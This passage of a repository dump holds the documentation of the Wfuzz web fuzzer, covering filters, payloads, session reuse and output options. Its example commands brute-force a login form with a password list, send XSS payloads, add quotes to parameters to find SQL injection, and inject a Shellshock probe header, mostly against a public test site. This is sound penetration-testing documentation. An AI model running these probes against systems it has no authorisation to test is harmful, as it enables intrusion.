payload\nparams.get.<<name>>          Spcified HTTP request GET parameter\nparams.post.<<name>>         Spcified HTTP request POST parameter\npstrip                       Returns a signature of the HTTP request using the parameter's names without values (useful for unique operations)\nis_path                      Returns true when the HTTP request path refers to a directory.\nreqtime                      Returns the total time that HTTP request took to be retrieved\n============================ =============================================\n\nIt is worth noting that Wfuzz will try to parse the POST parameters according to the specified content type header. Currently, application/x-www-form-urlencoded, multipart/form-dat and application/json are supported. This is prone to error depending on the data format, raw_post will not try to do any processing.\n\nFuzzRequest URL field is broken in smaller (read only) parts using the urlparse Python's module in the urlp attribute.\n\nUrlparse parses a URL into: scheme://netloc/path;parameters?query#fragment. For example, for the \"http://www.google.com/dir/test.php?id=1\" URL you can get the following values:\n\n=================== =============================================\nName                Value\n=================== =============================================\nurlp.scheme          http\nurlp.netloc          www.google.com\nurlp.path            /dir/test.php\nurlp.params\nurlp.query           id=1\nurlp.fragment      \nurlp.ffname          test.php\nurlp.fext            .php\nurlp.fname           test\nurlp.hasquery        Returns true when the URL contains a query string.\nurlp.isbllist        Returns true when the URL file extension is included in the configuration discovery's blacklist\n=================== =============================================\n\nPayload introspection can also be performed by using the keyword FUZZ:\n\n============ ==============================================\nName         Description\n============ ==============================================\nFUZnZ        Allows to access the Nth payload string\nFUZnZ[field] Allows to access the Nth payload attributes\n============ ==============================================\n\nWhere field is one of the described above.\n\nFiltering results\n^^^^^^^^^^^^^^^^^\n\nThe --filter command line parameter in conjunction with the described filter language allows you to perform more complex result triage than the standard filter switches such as \"--hc/hl/hw/hh\", \"--sc/sl/sw/sh\" and \"-ss/hs\".\n\nAn example below::\n\n    $ wfuzz -z range,0-10 --filter \"c=200 and l>97\" http://testphp.vulnweb.com/listproducts.php?cat=FUZZ\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/listproducts.php?cat=FUZZ\n    Total requests: 11\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00003:  C=200     99 L       302 W         4442 Ch        \"2\"\n    00002:  C=200    102 L       434 W         7011 Ch        \"1\"\n\n    Total time: 1.452705\n    Processed Requests: 11\n    Filtered Requests: 9\n    Requests/sec.: 7.572076\n\nUsing result and payload introspection to look for specific content returned in the response::\n\n    $ wfuzz -z list,echoedback -d searchFor=FUZZ --filter \"content~FUZZ\" http://testphp.vulnweb.com/search.php?test=query\n\nWhich is equivalent to::\n\n    $ wfuzz -z list,echoedback -d searchFor=FUZZ --ss \"echoedback\" http://testphp.vulnweb.com/search.php?test=query\n\nA more interesting variation of the above examples could be::\n\n    $ wfuzz -w fuzzdb/attack/xss/xss-rsnake.txt -d searchFor=FUZZ --filter \"content~FUZZ\" http://testphp.vulnweb.com/search.php?test=query\n\nYou can use the fields as boolean values as well. For example, this filter will show only the requests with parameters::\n\n    $ wfuzz -z range --zD 0-1 -u http://testphp.vulnweb.com/artists.php?artist=FUZZ --filter 'r.params.all'\n\nResults with plugin issues can be filter as well::\n\n    $ wfuzz -z list --zD index -u http://testphp.vulnweb.com/FUZZ.php --script headers --filter \"plugins~'nginx'\"\n\nPayload mangling\n^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nSlicing a payload\n\"\"\"\"\"\"\"\n\nThe --slice command line parameter in conjunction with the described language allows you to filter a payload.\nThe payload to filter, specified by the -z switch must precede --slice command line parameter.\n\nThe specified expression must return a boolean value, an example, using the unique operator is shown below::\n\n    $ wfuzz -z list --zD one-two-one-one --slice \"FUZZ|u()\" http://localhost:9000/FUZZ\n\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://localhost:9000/FUZZ\n    Total requests: <<unknown>>\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00001:  C=404      9 L        32 W          277 Ch        \"one\"\n    00002:  C=404      9 L        32 W          277 Ch        \"two\"\n\n    Total time: 0.031817\n    Processed Requests: 2\n    Filtered Requests: 0\n    Requests/sec.: 62.85908\n    \nIt is worth noting that, the type of payload dictates the available language symbols. For example, a dictionary payload such as in the example\nabove does not have a full FuzzResult object context and therefore object fields cannot be used.\n\nWhen slicing a FuzzResult payload, you are accessing the FuzzResult directly, therefore given a previous session such as::\n\n    $ wfuzz -z range --zD 0-0 -u http://www.google.com/FUZZ --oF /tmp/test1\n    ...\n    000000001:   404        11 L     72 W       1558 Ch     \"0\"                                                                                                                                                 \n    ...\n\nthis can be used to filter the payload::\n\n    $ wfpayload -z wfuzzp --zD /tmp/test1 --slice \"c=404\"\n    ...\n    000000001:   404        11 L     72 W       1558 Ch     \"0\"                                                                                                                                                 \n    ...\n\n    $ wfpayload -z wfuzzp --zD /tmp/test1 --slice \"c!=404\"\n    ...\n    wfuzz.py:168: UserWarning:Fatal exception: Empty dictionary! Please check payload or filter.\n    ...\n\nIn fact, in this situation, FUZZ refers to the previous result (if any)::\n\n    $ wfuzz -z wfuzzp --zD /tmp/test1 -u FUZZ --oF /tmp/test2\n    ...\n    000000001:   404        11 L     72 W       1558 Ch     \"http://www.google.com/0\"                                                                                                                           \n    ...\n\n    $ wfpayload -z wfuzzp --zD /tmp/test2 --efield r.headers.response.date --efield FUZZ[r.headers.response.date]\n    ...\n    000000001:   404        11 L     72 W       1558 Ch     \"http://www.google.com/0 | Mon, 02 Nov 2020 19:29:03 GMT | Mon, 02 Nov 2020 19:27:27 GMT\"                                                           \n    ...\n\nRe-writing a payload\n\"\"\"\"\"\"\"\n\nThe slice command parameter also allows to re-write a payload. Any value, other than a boolean, returned by the\nspecified expression will be interpreted not to filter the source payload but to change its value.\n\nFor example::\n\n    $ ./wfuzz -z list --zD one-two-three --slice \"FUZZ|upper()\" -u https://www.wfuzz.io/FUZZ\n    000000001:   404        11 L     72 W     1560 Ch     \"ONE\"\n    000000003:   404        11 L     72 W     1562 Ch     \"THREE\"\n    000000002:   404        11 L     72 W     1560 Ch     \"TWO\"\n\nPrefilter\n\"\"\"\"\"\"\"\"\"\n\nThe --prefilter command line parameter is similar to --slice but is not associated to any payload. It is a general filtering \nperformed just before any HTTP request is done. \n\nIn this context you are filtering a FuzzResult object, which is the result of combining all the input payloads, that is has not been updated with the result of performing its associated HTTP request yet and therefore lacking some information.\n\nThe --prefilter command cannot be used to re-write a payload. The assignment operators can be used to modify the FuzzResult object's fields but expressions other booleans will be ignored.\n\nReutilising previous results\n--------------------------------------\n\nPreviously performed HTTP requests/responses contain a treasure trove of data. Wfuzz payloads and object introspection (explained in the filter grammar section) exposes a Python object interface to requests/responses recorded by Wfuzz or other tools.\n\nThis allows you to perform manual and semi-automatic tests with full context and understanding of your actions, without relying on a web application scanner underlying implementation.\n\nSome ideas:\n\n* Replaying individual requests as-is\n* Comparing response bodies and headers of fuzzed requests against their original\n* Looking for requests with the CSRF token exposed in the URL\n* Looking for responses with JSON content with an incorrect content type\n\nTo reutilise previous results, a payload that generates a full FuzzResult object context should be used.\n\n* wfuzzp payload:\n\nWfuzz results can be stored using the --oF option as illustrated below::\n\n$ wfuzz --oF /tmp/session -z range,0-10 http://www.google.com/dir/test.php?id=FUZZ\n\n* burpstate and burplog payloads:\n\nWfuzz can read burp's (TM) log or saved states. This allows to filter or reutilise burp proxy requests and responses.\n\nThen, you can reutilise those results by using the denoted payloads. To repeat a request exactly how it was stored, you must use the FUZZ keyword on the command line::\n\n    $ wfuzz -z burpstate,a_burp_state.burp FUZZ\n\n    $ wfuzz -z burplog,a_burp_log.burp FUZZ\n\n    $ wfuzz -z wfuzzp,/tmp/session FUZZ\n\nPrevious requests can also be modified by using the usual command line switches. Some examples below:\n\n* Adding a new header::\n\n    $ wfuzz -z burpstate,a_burp_state.burp -H \"addme: header\" FUZZ\n\n* Using new cookies specified by another payload::\n\n    $ wfuzz -z burpstate,a_burp_state.burp -z list,1-2-3 -b \"cookie=FUZ2Z\" FUZZ\n\n* The stored HTTP requests can be printed using the --prev flag for comparing old vs new results::\n\n    $ wfuzz -z burpstate,testphp.burp --slice \"cookies.request and url|u()\" --filter \"c!=FUZZ[c]\" -b \"\" --prev FUZZ  \n    ...\n    000076:  C=302      0 L        3 W           14 Ch        \"http://testphp.vulnweb.com/userinfo.php\"\n      |__    C=200    114 L      373 W         5347 Ch        \"http://testphp.vulnweb.com/userinfo.php\"\n\n\n* Same request against another URL::\n\n    $ wfuzz -z burpstate,a_burp_state.burp -H \"addme: header\" -u http://www.otherhost.com FUZZ\n\nIf you do not want to use the full saved request:\n\n* Accessing specific HTTP object fields can be achieved by using the attr payload's parameter::\n\n    $ wfuzz -z wfuzzp,/tmp/session --zP attr=url FUZZ\n\n* Or by specifying the FUZZ keyword and a field name in the form of FUZZ[field]::\n\n    $ wfuzz -z wfuzzp,/tmp/session FUZZ[url]\n\nThis could be used, for example, to perform new requests based on stored values::\n\n    $ wfuzz -z wfuzzp,/tmp/session -p localhost:8080 http://testphp.vulnweb.com/FUZZ[url.path]?FUZZ[url.query]\n    00001:  C=200     25 L       155 W         1362 Ch        \"/dir/test.php - id=0\"\n    ...\n    00002:  C=200     25 L       155 W         1362 Ch        \"/dir/test.php - id=1\"\n\nThe above command will generate HTTP requests such as the following::\n\n    GET /dir/test.php?id=10 HTTP/1.1\n    Host: testphp.vulnweb.com\n    Accept: */*\n    Content-Type:  application/x-www-form-urlencoded\n    User-Agent:  Wfuzz/2.2\n    Connection: close\n\nYou can filter the payload using the filter grammar as described before.\n\nReutilising previous results\n--------------------------------------\n\nPlugins results contain a treasure trove of data. Wfuzz payloads and object introspection (explained in the filter grammar section) exposes a Python object interface to plugins results.\nThis allows you to perform semi-automatic tests based on plugins results or compile a set of results to be used in another tool.\n\nRequest mangling\n^^^^^^^^^\n\nThe assignment operators can be used to modify previous requests, for example, let's add a quote to every string parameter prior of performing the HTTP request::\n\n    $ wfuzz -z range,1-5 --oF /tmp/session http://testphp.vulnweb.com/artists.php?artist=FUZZ\n    000003:  C=200    118 L      455 W         5326 Ch        \"3\"\n    ...\n    000004:  C=200     99 L      272 W         3868 Ch        \"4\"\n\n    $ wfuzz -z wfuzzp,/tmp/session --prefilter \"r.params.get=+'\\''\" -A FUZZ\n    00010:  0.161s   C=200  101 L  287 W    3986 Ch    nginx/1.4.1  \"http://testphp.vulnweb.com/artists.php?artist=1'\"\n    |_  Error identified: Warning: mysql_fetch_array()\n    ...\n\n\nThe above command looks for simple SQL injection issues.\n"
  },
  {
    "path": "docs/user/basicusage.rst",
    "content": "Basic Usage\n===============\n\nFuzzing Paths and Files\n-----------------------\n\nWfuzz can be used to look for hidden content, such as files and directories, within a web server, allowing to find further attack vectors. It is worth noting that, the success of this task depends highly on the dictionaries used.\n\nHowever, due to the limited number of platforms, default installations, known resources such as logfiles, administrative directories, a considerable number of resources are located in predictable locations. Therefore, brute forcing these contents becomes a more feasible task.\n\nWfuzz contains some dictionaries, other larger and up to date open source word lists are:\n\n* `fuzzdb <https://code.google.com/p/fuzzdb/>`_\n* `seclists <https://github.com/danielmiessler/SecLists>`_\n\nBelow is shown an example of wfuzz looking for common directories::\n\n    $ wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ                                                                                                                                                               \n\nBelow is shown an example of wfuzz looking for common files::\n\n    $ wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ.php\n\nFuzzing Parameters In URLs\n--------------------------\n\nYou often want to fuzz some sort of data in the URL's query string, this can be achieved by specifying the FUZZ keyword in the URL after a question mark::\n\n    $ wfuzz -z range,0-10 --hl 97 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ\n\nFuzzing POST Requests\n---------------------\n\nIf you want to fuzz some form-encoded data like an HTML form will do, simply pass a -d command line argument::\n\n    $ wfuzz -z file,wordlist/others/common_pass.txt -d \"uname=FUZZ&pass=FUZZ\"  --hc 302 http://testphp.vulnweb.com/userinfo.php\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/userinfo.php\n    Total requests: 52\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00044:  C=200    114 L       356 W         5111 Ch        \"test\"\n\n    Total time: 2.140146\n    Processed Requests: 52\n    Filtered Requests: 51\n    Requests/sec.: 24.29739\n\nFuzzing Cookies\n---------------\n\nTo send your own cookies to the server, for example, to associate a request to HTTP sessions, you can use the -b parameter (repeat for various cookies)::\n\n    $ wfuzz -z file,wordlist/general/common.txt -b cookie=value1 -b cookie2=value2 http://testphp.vulnweb.com/FUZZ\n\nThe command above will generate HTTP requests such as the one below::\n\n    GET /attach HTTP/1.1\n    Host: testphp.vulnweb.com\n    Accept: */*\n    Content-Type:  application/x-www-form-urlencoded\n    Cookie:  cookie=value1; cookie2=value2\n    User-Agent:  Wfuzz/2.2\n    Connection: close\n\nCookies can also be fuzzed::\n\n    $ wfuzz -z file,wordlist/general/common.txt -b cookie=FUZZ http://testphp.vulnweb.com/\n    \n\nFuzzing Custom headers\n----------------------\n\nIf you'd like to add HTTP headers to a request, simply use the -H parameter (repeat for various headers)::\n\n    $ wfuzz -z file,wordlist/general/common.txt -H \"myheader: headervalue\" -H \"myheader2: headervalue2\" http://testphp.vulnweb.com/FUZZ\n\n\nThe command above will generate HTTP requests such as the one below::\n\n    GET /agent HTTP/1.1\n    Host: testphp.vulnweb.com\n    Accept: */*\n    Myheader2:  headervalue2\n    Myheader:  headervalue\n    Content-Type:  application/x-www-form-urlencoded\n    User-Agent:  Wfuzz/2.2\n    Connection: close\n\n\nYou can modify existing headers, for example, for specifying a custom user agent, execute the following::\n\n    $ wfuzz -z file,wordlist/general/common.txt -H \"myheader: headervalue\" -H \"User-Agent: Googlebot-News\" http://testphp.vulnweb.com/FUZZ\n\n\nThe command above will generate HTTP requests such as the one below::\n\n    GET /asp HTTP/1.1\n    Host: testphp.vulnweb.com\n    Accept: */*\n    Myheader:  headervalue\n    Content-Type:  application/x-www-form-urlencoded\n    User-Agent:  Googlebot-News\n    Connection: close\n\nHeaders can also be fuzzed::\n\n    $ wfuzz -z file,wordlist/general/common.txt -H \"User-Agent: FUZZ\" http://testphp.vulnweb.com/\n\nFuzzing HTTP Verbs\n------------------\n\nHTTP verbs fuzzing can be specified using the -X switch::\n\n    $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/\n    Total requests: 5\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00002:  C=200      0 L         0 W            0 Ch        \"HEAD\"\n    00004:  C=405      7 L        12 W          172 Ch        \"TRACE\"\n    00005:  C=405      7 L        12 W          172 Ch        \"OPTIONS\"\n    00001:  C=200    104 L       296 W         4096 Ch        \"GET\"\n    00003:  C=200    104 L       296 W         4096 Ch        \"POST\"\n\n    Total time: 1.030354\n    Processed Requests: 5\n    Filtered Requests: 0\n    Requests/sec.: 4.852696\n\nIf you want to perform the requests using a specific verb you can also use \"-X HEAD\".\n\nProxies\n-------\n\nIf you need to use a proxy, simply use the -p parameter::\n\n    $ wfuzz -z file,wordlist/general/common.txt -p localhost:8080 http://testphp.vulnweb.com/FUZZ\n\nIn addition to basic HTTP proxies, Wfuzz also supports proxies using the SOCKS4 and SOCKS5 protocol::\n\n    $ wfuzz -z file,wordlist/general/common.txt -p localhost:2222:SOCKS5 http://testphp.vulnweb.com/FUZZ\n\nMultiple proxies can be used simultaneously by supplying various -p parameters::\n\n    $ wfuzz -z file,wordlist/general/common.txt -p localhost:8080 -p localhost:9090 http://testphp.vulnweb.com/FUZZ\n\nEach request will be performed using a different proxy each time.\n\nAuthentication\n--------------\n\nWfuzz can set an authentication headers by using the --basic/ntlm/digest command line switches.\n\nFor example, a protected resource using Basic authentication can be fuzzed using the following command::\n\n    $ wfuzz -z list,nonvalid-httpwatch --basic FUZZ:FUZZ https://www.httpwatch.com/httpgallery/authentication/authenticatedimage/default.aspx\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: https://www.httpwatch.com/httpgallery/authentication/authenticatedimage/default.aspx\n    Total requests: 2\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00001:  C=401      0 L        11 W           58 Ch        \"nonvalid\"\n    00002:  C=200     20 L        91 W         5294 Ch        \"httpwatch\"\n\n    Total time: 0.820029\n    Processed Requests: 2\n    Filtered Requests: 0\n    Requests/sec.: 2.438938\n\nIf you want to fuzz a resource from a protected website you can also use \"--basic user:pass\".\n\n\nRecursion\n---------\n\nThe -R switch can be used to specify a payload recursion's depth. For example, if you want to search for existing directories and then fuzz within these directories again using the same payload you can use the following command::\n\n    $ wfuzz -z list,\"admin-CVS-cgi\\-bin\"  -R1 http://testphp.vulnweb.com/FUZZ\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/FUZZ\n    Total requests: 3\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00003:  C=403     10 L        29 W          263 Ch        \"cgi-bin\"\n    00002:  C=301      7 L        12 W          184 Ch        \"CVS\"\n    |_ Enqueued response for recursion (level=1)\n    00001:  C=301      7 L        12 W          184 Ch        \"admin\"\n    |_ Enqueued response for recursion (level=1)\n    00008:  C=404      7 L        12 W          168 Ch        \"admin - CVS\"\n    00007:  C=404      7 L        12 W          168 Ch        \"admin - admin\"\n    00005:  C=404      7 L        12 W          168 Ch        \"CVS - CVS\"\n    00006:  C=404      7 L        12 W          168 Ch        \"CVS - cgi-bin\"\n    00009:  C=404      7 L        12 W          168 Ch        \"admin - cgi-bin\"\n    00004:  C=404      7 L        12 W          168 Ch        \"CVS - admin\"\n\n\nPerfomance\n----------\n\nSeveral options lets you fine tune the HTTP request engine, depending on the performance impact on the application, and on your own processing power and bandwidth. \n\nYou can increase or decrease the number of simultaneous requests to make your attack proceed faster or slower by using the -t switch.\n\nYou can tell Wfuzz to stop a given number of seconds before performing another request using the -s parameter.\n\nWriting to a file\n-----------------\n\nWfuzz supports writing the results to a file in a different format. This is performed by plugins called \"printers\". The available printers can be listed executing::\n\n    $ wfuzz -e printers\n\nFor example, to write results to an output file in JSON format use the following command::\n\n    $ wfuzz -f /tmp/outfile,json -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\n\nDifferent output\n-----------------\n\nWfuzz supports showing the results in various formats. This is performed by plugins called \"printers\". The available printers can be listed executing::\n\n    $ wfuzz -e printers\n\nFor example, to show results in JSON format use the following command::\n\n    $ wfuzz -o json -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\nWhen using the default or raw output you can also select additional FuzzResult's fields to show, using --efield, together with the payload description::\n\n    $ wfuzz -z range --zD 0-1 -u http://testphp.vulnweb.com/artists.php?artist=FUZZ --efield r\n    ...\n    000000001:   200        99 L     272 W    3868 Ch   0 | GET /artists.php?artist=0 HTTP/1.1\n                                                        Content-Type: application/x-www-form-urlencoded\n                                                        User-Agent: Wfuzz/2.4\n                                                        Host: testphp.vulnweb.com\n    ...\n\nThe above command is useful, for example, to debug what exact HTTP request Wfuzz sent to the remote Web server.\n\nTo completely replace the default payload output you can use --field instead::\n\n    $ wfuzz -z range --zD 0-1 -u http://testphp.vulnweb.com/artists.php?artist=FUZZ --field url\n    ...\n    000000001:   200        104 L    364 W    4735 Ch     \"http://testphp.vulnweb.com/artists.php?artist=0\"\n    ...\n\n--efield and --field can be repeated to show several fields::\n\n\n    $ wfuzz -z range --zD 0-1 -u http://testphp.vulnweb.com/artists.php?artist=FUZZ --efield url --efield h\n    ...\n    000000001:   200        104 L    364 W    4735 Ch     \"0 | http://testphp.vulnweb.com/artists.php?artist=0 | 4735\"                                                                                        \n    ...\n\nThe field printer can be used with a --efield or --field expression to list only the specified filter expressions without a header or footer::\n\n\n    $ wfuzz -z list --zD https://www.airbnb.com/ --script=links --script-args=links.regex=.*js$,links.enqueue=False -u FUZZ -o field --field plugins.links.link | head -n3\n    https://a0.muscache.com/airbnb/static/packages/4e8d-d5c346ee.js\n    https://a0.muscache.com/airbnb/static/packages/7afc-ac814a17.js\n    https://a0.muscache.com/airbnb/static/packages/7642-dcf4f8dc.js\n\nThe above command is useful, for example, to pipe wfuzz into other tools or perform console scripts.\n\n--efield and --field are in fact filter expressions. Check the filter language section in the advance usage document for the available fields and operators.\n"
  },
  {
    "path": "docs/user/breaking.rst",
    "content": "Breaking changes\n=============\n\nFollowing https://semver.org/ versioning since Wfuzz 3.0.0.\n\n* Wfuzz 3.0.0:\n    * In wfuzz library prefilter is a list of filters not a string.\n    * When using --recipe, stored options that are a list are appended. Previously, the last one took precedence.\n"
  },
  {
    "path": "docs/user/getting.rst",
    "content": "Getting Started\n===============\n\nA typical Wfuzz command line execution, specifying a dictionary payload and a URL, looks like this::\n\n    $ wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\n\nThe obtained output is shown below::\n\n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/FUZZ\n    Total requests: 950\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00006:  C=301      7 L        12 W          184 Ch        \"admin\"\n    00135:  C=403     10 L        29 W          263 Ch        \"cgi-bin\"\n    00379:  C=301      7 L        12 W          184 Ch        \"images\"\n    00686:  C=301      7 L        12 W          184 Ch        \"secured\"\n    ...\n    00935:  C=301      7 L        12 W          184 Ch        \"CVS\"\n\n    Total time: 4.214460\n    Processed Requests: 950\n    Filtered Requests: 0\n    Requests/sec.: 225.4143\n\nWfuzz output allows to analyse the web server responses and filter the desired results based on the HTTP response message obtained, for example, response codes, response length, etc.\n\nEach line provides the following information:\n\n- ID: The request number in the order that it was performed.\n- Response: Shows the HTTP response code.\n- Lines: Shows the number of lines in the HTTP response.\n- Word: Shows the number of words in the HTTP response.\n- Chars: Shows the number of characters in the HTTP response.\n- Payload: Shows the payload used.\n\nGetting help\n------------\n\nUse the --h and --help switch to get basic and advanced help usage respectively.\n\nWfuzz is a completely modular framework, you can check the available modules by using the -e <<category>> switch::\n\n    $ wfuzz -e iterators\n\n    Available iterators:\n\n    Name    | Summary                                                                           \n    ----------------------------------------------------------------------------------------------\n    product | Returns an iterator cartesian product of input iterables.                         \n    zip     | Returns an iterator that aggregates elements from each of the iterables.          \n    chain   | Returns an iterator returns elements from the first iterable until it is exhaust  \n            | ed, then proceeds to the next iterable, until all of the iterables are exhausted  \n            | .                                                                                 \n\n\nValid categories are: payloads, encoders, iterators, printers or scripts.\n\nPayloads\n--------\n\nWfuzz is based on a simple concept: it replaces any reference to the keyword FUZZ by the value of a given payload. A payload in Wfuzz is a source of input data.\n\nThe available payloads can be listed by executing::\n\n    $ wfuzz -e payloads\n\nDetailed information about payloads could be obtained by executing::\n\n    $ wfuzz -z help\n\nThe latter can be filtered using the --slice parameter::\n\n    $ wfuzz -z help --slice \"dirwalk\"\n\n    Name: dirwalk 0.1\n    Categories: default\n    Summary: Returns filename's recursively from a local directory.\n    Description:\n       Returns all the file paths found in the specified directory.\n       Handy if you want to check a directory structure against a webserver,\n       for example, because you have previously downloaded a specific version\n       of what is supposed to be on-line.\n    Parameters:\n       + dir: Directory path to walk and generate payload from.\n\n\nSpecifying a payload:\n^^^^^^^^^^^^^^^^^^^^^\n\nEach FUZZ keyword must have its corresponding payload. There are several equivalent ways of specifying a payload:\n\n* The long way explicitly defining the payload's parameter name through the command line::\n\n    $ wfuzz -z file --zP fn=wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\n* The not so long way explicitly defining the payload's default parameter through the --zD command line option::\n\n    $ wfuzz -z file --zD wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\n* The not so long way defining only the value of the payload's default parameter::\n\n    $ wfuzz -z file,wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\n* The short way when using the file payload alias::\n\n    $ wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ\n\n\nThe stdin payload could be used when using a external wordlist generator::\n\n    $ crunch 2 2 ab | wfuzz -z stdin http://testphp.vulnweb.com/FUZZ\n    Crunch will now generate the following amount of data: 12 bytes\n    0 MB\n    0 GB\n    0 TB\n    0 PB\n    Crunch will now generate the following number of lines: 4 \n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://testphp.vulnweb.com/FUZZ\n    Total requests: <<unknown>>\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00002:  C=404      7 L        12 W          168 Ch        \"ab\"\n    00001:  C=404      7 L        12 W          168 Ch        \"aa\"\n    00003:  C=404      7 L        12 W          168 Ch        \"ba\"\n    00004:  C=404      7 L        12 W          168 Ch        \"bb\"\n\n    Total time: 3.643738\n    Processed Requests: 4\n    Filtered Requests: 0\n    Requests/sec.: 1.097773\n\n\nMultiple payloads\n^^^^^^^^^^^^^^^^^\n\nSeveral payloads can be used by specifying several -z or -w parameters and the corresponding FUZZ, ... , FUZnZ keyword where n is the payload number. The following example, brute forces files, extension files and directories at the same time::\n\n    $ wfuzz -w wordlist/general/common.txt -w wordlist/general/common.txt -w wordlist/general/extensions_common.txt --hc 404 http://testphp.vulnweb.com/FUZZ/FUZ2ZFUZ3Z  \n\nFilters\n-------\n\n\nFiltering results in Wfuzz is paramount:\n\n* Big dictionaries could generate a great amount of output and can easily drown out legitimate valid results. \n* Triaging HTTP responses is key to perform some attacks, for example, in order to check for the presence of a SQL injection vulnerability we need to distinguish a legitimate response from the one that generates an error or different data.\n\nWfuzz allows to filter based on the HTTP responses code and the length of the received information (in the form of words, characters or lines). Regular expressions can also be used. Two approaches can be taken: showing or hiding results matching a given filter.\n\nHiding responses\n^^^^^^^^^^^^^^^^\n\nThe following command line parameters can be used to hide certain HTTP responses \"--hc, --hl, --hw, --hh\". For example, the following command filters the web resources unknown by the web server (http://en.wikipedia.org/wiki/HTTP_404)::\n\n    wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ    \n\nMultiple values can be specified, for example, the following wfuzz execution adds the forbidden resources to the filter::\n\n    wfuzz -w wordlist/general/common.txt --hc 404,403 http://testphp.vulnweb.com/FUZZ    \n\nLines, words or chars are handy when we are looking for resources with the same HTTP status code. For example, it is a common behaviour (sometimes due to misconfiguration) that web servers return a custom error page with a 200 response code, this is known as soft 404.\n\nBelow is shown an example::\n\n    $ wfuzz -w wordlist/general/common.txt --hc 404 http://datalayer.io/FUZZ  \n    ********************************************************\n    * Wfuzz 2.2 - The Web Fuzzer                           *\n    ********************************************************\n\n    Target: http://datalayer.io/FUZZ\n    Total requests: 950\n\n    ==================================================================\n    ID      Response   Lines      Word         Chars          Request    \n    ==================================================================\n\n    00000:  C=200    279 L       635 W         8972 Ch        \"W3SVC3\"\n    00001:  C=200    279 L       635 W         8972 Ch        \"Log\"\n    00002:  C=200    279 L       635 W         8972 Ch        \"10\"\n    00003:  C=200    279 L       635 W         8972 Ch        \"02\"\n    00004:  C=200    279 L       635 W         8972 Ch        \"2005\"\n    ...\n    00024:  C=200    301 L       776 W         9042 Ch        \"about\"\n    ...\n\nLooking carefully at the above results, is easy to ascertain that all the \"not found\" resources have a common patter of 279 lines, 635 words and 8972 chars.\nThus, we can improve our \"--hc 404\" filter by using this information (various filters can be combined)::\n\n    $ wfuzz -w wordlist/general/common.txt --hc 404 --hh 8972  http://datalayer.io/FUZZ  \n\n    00022:  C=200    301 L       776 W         9042 Ch        \"about\"\n    00084:  C=302      0 L         0 W            0 Ch        \"blog\"\n    00192:  C=302      0 L         0 W            0 Ch        \"css\"\n    ...\n    00696:  C=200    456 L      1295 W        15119 Ch        \"service\"\n    00751:  C=200    238 L       512 W         6191 Ch        \"store\"\n    00788:  C=302      0 L         0 W            0 Ch        \"text\"\n    00913:  C=302      0 L         0 W            0 Ch        \"template\"\n\nShowing responses\n^^^^^^^^^^^^^^^^^\n\nShowing results works the same way but using the command line parameters preceded by an \"s\": \"--sc, --sl, --sw, --sh\".\n\nUsing the baseline\n^^^^^^^^^^^^^^^^^^\n\nFilters can be built against a reference HTTP response, called the \"baseline\". For example, the previous command for filtering \"not found\" resources using the --hh switch could have be done with the following command::\n\n    $ wfuzz -w wordlist/general/common.txt --hh BBB  http://datalayer.io/FUZZ{notthere}\n    ...\n    00000:  C=200    279 L       635 W         8972 Ch        \"notthere\"\n    00001:  C=200    301 L       776 W         9042 Ch        \"about\"\n    00004:  C=200    456 L      1295 W        15119 Ch        \"service\"\n    ...\n\nHere the {} defines the value of the FUZZ word for this first HTTP request, and then the response can be used specifying \"BBB\" as a filter value. \n\nRegex filters\n^^^^^^^^^^^^^\n\nThe command line parameters \"--ss\" and \"--hs\" allow to filter the responses using a regular expression against the returned content. For example, the following allows to find web servers vulnerable to \"shellshock\" (see http://edge-security.blogspot.co.uk/2014/10/scan-for-shellshock-with-wfuzz.html for more information)::\n\n    $ wfuzz -H \"User-Agent: () { :;}; echo; echo vulnerable\" --ss vulnerable -w cgis.txt http://localhost:8000/FUZZ     \n\nA valid python regex should be used within these switches or an error will be prompted::\n\n    $ wfuzz -w wordlist/general/common.txt --hs \"error)\"  http://testphp.vulnweb.com/FUZZ\n\n    Fatal exception: Invalid regex expression: unbalanced parenthesis\n"
  },
  {
    "path": "docs/user/installation.rst",
